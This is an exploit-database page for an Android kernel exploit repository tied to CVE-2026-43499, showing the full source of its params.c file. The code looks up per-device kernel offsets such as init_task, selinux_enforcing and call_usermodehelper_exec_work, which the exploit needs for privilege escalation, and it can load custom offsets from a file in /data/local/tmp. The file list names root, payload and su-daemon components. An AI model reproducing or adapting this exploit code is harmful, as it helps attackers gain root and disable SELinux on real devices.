Exploit databaseDownload repository ZIP
GH-92e7b5d35cb801ad900f20d1efcc4a2d
snothin/ghostlock-s26
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files21
snothin/ghostlock-s26Revision 0f98fcfc99bb
- ↑..Parent directory
- kernelsnitch/
- attr.c
- bootclaim.c
- common.h
- config.c
- config.h
- heap.c
- ksu_proto.h
- ksud.c
- main.c
- params.c
- params.h
- params_table.c
- payload.c
- preload.c
- pselect.c
- root.c
- slide.c
- su_daemon.c
- util.c
- walk.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/src/params.c
C · 10,001 bytes#define _GNU_SOURCE
#include "config.h"
#include "params.h"
#include "kernelsnitch/utils.h"
#include <errno.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/system_properties.h>
const struct kernel_line *target;
struct device_identity g_ident = {
.label = "unknown",
};
extern const struct kernel_line kernel_lines[];
extern const size_t kernel_lines_count;
extern const struct device_line_map device_map[];
extern const size_t device_map_count;
const char *params_label(void) { return g_ident.label; }
#define PARAMS_CUSTOM_LINE_PATH "/data/local/tmp/ghostlock-lines.conf"
#define PARAMS_CUSTOM_LINE_ID_MAX 16
struct custom_field {
const char *name;
size_t off;
size_t size;
uint64_t align;
};
static const struct custom_field custom_fields[] = {
{"tracefs_event_id", offsetof(struct kernel_line, tracefs_event_id), 4, 0},
{"tracefs_worker_caller_off", offsetof(struct kernel_line, tracefs_worker_caller_off), 4, 4},
{"root_task_group_off", offsetof(struct kernel_line, root_task_group_off), 8, 8},
{"init_task_off", offsetof(struct kernel_line, init_task_off), 8, 8},
{"misc_list_off", offsetof(struct kernel_line, misc_list_off), 8, 8},
{"uinput_misc_off", offsetof(struct kernel_line, uinput_misc_off), 8, 8},
{"simple_attr_read_off", offsetof(struct kernel_line, simple_attr_read_off), 8, 4},
{"simple_attr_write_off", offsetof(struct kernel_line, simple_attr_write_off), 8, 4},
{"debugfs_u64_get_off", offsetof(struct kernel_line, debugfs_u64_get_off), 8, 4},
{"debugfs_u64_set_off", offsetof(struct kernel_line, debugfs_u64_set_off), 8, 4},
{"default_llseek_off", offsetof(struct kernel_line, default_llseek_off), 8, 4},
{"debugfs_u64_format_off", offsetof(struct kernel_line, debugfs_u64_format_off), 8, 4},
{"call_usermodehelper_exec_work_off",
offsetof(struct kernel_line, call_usermodehelper_exec_work_off), 8, 4},
{"system_unbound_wq_off", offsetof(struct kernel_line, system_unbound_wq_off), 8, 8},
{"selinux_enforcing_off", offsetof(struct kernel_line, selinux_enforcing_off), 8, 8},
{"phys_offset", offsetof(struct kernel_line, phys_offset), 8, 0x40000000ULL},
{"phys_load", offsetof(struct kernel_line, phys_load), 8, 0x200000ULL},
};
#define CUSTOM_FIELD_COUNT (sizeof(custom_fields) / sizeof((custom_fields)[0]))
static struct kernel_line custom_line;
static char custom_line_id[PARAMS_CUSTOM_LINE_ID_MAX];
static uint64_t custom_read_field(const void *base, size_t idx) {
const struct custom_field *f = &custom_fields[idx];
const uint8_t *p = (const uint8_t *)base + f->off;
uint64_t v;
if (f->size == 8) {
memcpy(&v, p, 8);
} else {
uint32_t v32;
memcpy(&v32, p, 4);
v = v32;
}
return v;
}
static int params_validate_custom(uint32_t present) {
uint32_t want = (1u << CUSTOM_FIELD_COUNT) - 1;
if (present != want) {
pr_warning("custom line rejected: missing %u of %u fields\n",
__builtin_popcount(present ^ want), (unsigned)CUSTOM_FIELD_COUNT);
return -1;
}
for (size_t i = 0; i < CUSTOM_FIELD_COUNT; i++) {
uint64_t v = custom_read_field(&custom_line, i);
const struct custom_field *f = &custom_fields[i];
if (f->align && (v % f->align) != 0) {
pr_warning("custom line rejected: %s=%#llx not aligned to %#llx\n", f->name,
(unsigned long long)v, (unsigned long long)f->align);
return -1;
}
}
return 0;
}
static int params_load_custom(void) {
FILE *f = fopen(PARAMS_CUSTOM_LINE_PATH, "r");
if (f == NULL) {
return -1;
}
memset(&custom_line, 0, sizeof(custom_line));
custom_line_id[0] = '\0';
uint32_t present = 0;
int rc = -1;
char line[256];
while (fgets(line, sizeof(line), f) != NULL) {
char *p = line;
while (*p == ' ' || *p == '\t') {
p++;
}
if (*p == '\0' || *p == '#') {
continue;
}
if (strncmp(p, "params.", 7) != 0) {
pr_warning("custom line: unknown key '%s'\n", p);
continue;
}
char *eq = strchr(p, '=');
if (eq == NULL) {
pr_warning("custom line: bad line '%s'\n", p);
continue;
}
*eq = '\0';
char *key = p + 7;
char *val = eq + 1;
char *nl = strpbrk(val, "\r\n");
if (nl) {
*nl = '\0';
}
char *kend = key + strlen(key);
while (kend > key && (kend[-1] == ' ' || kend[-1] == '\t')) {
*--kend = '\0';
}
if (strcmp(key, "line_id") == 0) {
snprintf(custom_line_id, sizeof(custom_line_id), "%s", val);
continue;
}
size_t idx = CUSTOM_FIELD_COUNT;
for (size_t i = 0; i < CUSTOM_FIELD_COUNT; i++) {
if (strcmp(custom_fields[i].name, key) == 0) {
idx = i;
break;
}
}
if (idx == CUSTOM_FIELD_COUNT) {
pr_warning("custom line: unknown field '%s'\n", key);
continue;
}
errno = 0;
char *end = NULL;
unsigned long long v = strtoull(val, &end, 0);
if (errno || end == val || *end != '\0') {
pr_warning("custom line rejected: %s=%s invalid int\n", key, val);
goto out;
}
uint8_t *bp = (uint8_t *)&custom_line + custom_fields[idx].off;
if (custom_fields[idx].size == 8) {
uint64_t vv = v;
memcpy(bp, &vv, 8);
} else {
uint32_t vv = (uint32_t)v;
memcpy(bp, &vv, 4);
}
present |= (1u << idx);
}
if (custom_line_id[0] == '\0') {
snprintf(custom_line_id, sizeof(custom_line_id), "custom");
}
if (params_validate_custom(present) != 0) {
goto out;
}
custom_line.line_id = custom_line_id;
rc = 0;
out:
fclose(f);
return rc;
}
static int params_apply_custom(const char *dev, const char *inc, int explicit_mode) {
if (params_load_custom() != 0) {
return -1;
}
snprintf(g_ident.device_buf, sizeof(g_ident.device_buf), "%s", dev[0] ? dev : "?");
snprintf(g_ident.build_id_buf, sizeof(g_ident.build_id_buf), "%s", inc);
g_ident.device = g_ident.device_buf;
g_ident.build_id = g_ident.build_id_buf;
g_ident.line_id = custom_line.line_id;
snprintf(g_ident.label, sizeof(g_ident.label), "%s-%s:%s", g_ident.device, g_ident.build_id,
g_ident.line_id);
target = &custom_line;
pr_info("custom line loaded: line_id=%s, build=%s%s\n", custom_line.line_id, inc,
explicit_mode ? " (explicit)" : "");
return 0;
}
int params_resolve(void) {
char inc[PROP_VALUE_MAX] = {0};
char dev[PROP_VALUE_MAX] = {0};
char model[PROP_VALUE_MAX] = {0};
char fp[PROP_VALUE_MAX] = {0};
int len = __system_property_get("ro.build.version.incremental", inc);
if (len <= 0) {
pr_warning("unsupported target: ro.build.version.incremental unavailable\n");
return -1;
}
__system_property_get("ro.product.device", dev);
__system_property_get("ro.build.fingerprint", fp);
__system_property_get("ro.product.model", model);
const char *model_code =
(model[0] == 'S' && model[1] == 'M' && model[2] == '-') ? model + 3 : model;
size_t model_len = strlen(model_code);
int model_ok =
model_len >= 5 && strlen(inc) >= model_len + 3 && strncmp(inc, model_code, model_len) == 0;
if (model_len >= 5 && !model_ok) {
pr_warning(
"identity mismatch: incremental model %.*s != "
"ro.product.model %s\n",
(int)model_len, inc, model_code);
}
const struct device_line_map *hit = NULL;
for (size_t i = 0; i < device_map_count; i++) {
if (strcmp(inc, device_map[i].build_id) != 0) {
continue;
}
if (device_map[i].device && dev[0] && strcmp(dev, device_map[i].device) != 0) {
continue;
}
hit = &device_map[i];
break;
}
if (!hit && model_ok) {
for (size_t i = 0; i < device_map_count; i++) {
if (device_map[i].device && dev[0] && strcmp(dev, device_map[i].device) != 0) {
continue;
}
const char *eb = device_map[i].build_id;
if (strlen(eb) < model_len + 3 || strncmp(eb, model_code, model_len) != 0 ||
strncmp(eb + model_len, inc + model_len, 3) != 0) {
continue;
}
if (!hit || strcmp(eb, hit->build_id) > 0) {
hit = &device_map[i];
}
}
if (hit) {
pr_warning(
"build %s not listed; same-model line %s reused "
"(from %s)\n",
inc, hit->line_id, hit->build_id);
}
}
if (!hit) {
for (size_t i = 0; i < device_map_count; i++) {
if (!device_map[i].device || (dev[0] && strcmp(dev, device_map[i].device) != 0)) {
continue;
}
if (!hit || strcmp(device_map[i].build_id, hit->build_id) > 0) {
hit = &device_map[i];
}
}
if (hit) {
pr_warning(
"build %s not listed; assumed line %s from latest %s "
"entry, market unverified\n",
inc, hit->line_id, hit->build_id);
}
}
if (cfg_bool("params.custom")) {
if (params_apply_custom(dev, inc, 1) == 0) {
return 0;
}
pr_warning(
"unsupported target build (custom line requested but "
"unusable): device=%s, incremental=%s, fp=%s\n",
dev, inc, fp);
return -1;
}
if (hit == NULL) {
if (params_apply_custom(dev, inc, 0) == 0) {
return 0;
}
pr_warning("unsupported target build: device=%s, incremental=%s, fp=%s\n", dev, inc, fp);
return -1;
}
const char *line_id = hit->line_id;
snprintf(g_ident.device_buf, sizeof(g_ident.device_buf), "%s",
hit->device ? hit->device : (dev[0] ? dev : "?"));
snprintf(g_ident.build_id_buf, sizeof(g_ident.build_id_buf), "%s", inc);
g_ident.device = g_ident.device_buf;
g_ident.build_id = g_ident.build_id_buf;
g_ident.line_id = line_id;
snprintf(g_ident.label, sizeof(g_ident.label), "%s-%s:%s", g_ident.device, g_ident.build_id,
line_id);
for (size_t i = 0; i < kernel_lines_count; i++) {
if (strcmp(kernel_lines[i].line_id, line_id) == 0) {
target = &kernel_lines[i];
return 0;
}
}
pr_warning("target line_id=%s not found in kernel_lines\n", line_id);
return -1;
}